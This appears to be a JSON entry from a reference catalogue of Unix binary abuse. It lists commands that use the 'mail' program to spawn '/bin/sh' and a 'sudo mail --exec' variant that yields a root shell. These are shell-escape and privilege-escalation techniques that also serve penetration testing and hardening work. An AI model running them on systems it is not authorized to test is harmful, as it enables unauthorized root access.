{
  "functions": {
    "shell": [
      {
        "description": "GNU version only.",
        "code": "mail --exec='!/bin/sh'"
      },
      {
        "description": "This creates a valid Mbox file which may be required by the binary.",
        "code": "TF=$(mktemp)\necho \"From nobody@localhost $(date)\" > $TF\nmail -f $TF\n!/bin/sh\n"
      }
    ],
    "sudo": [
      {
        "description": "GNU version only.",
        "code": "sudo mail --exec='!/bin/sh'"
      }
    ]
  }
}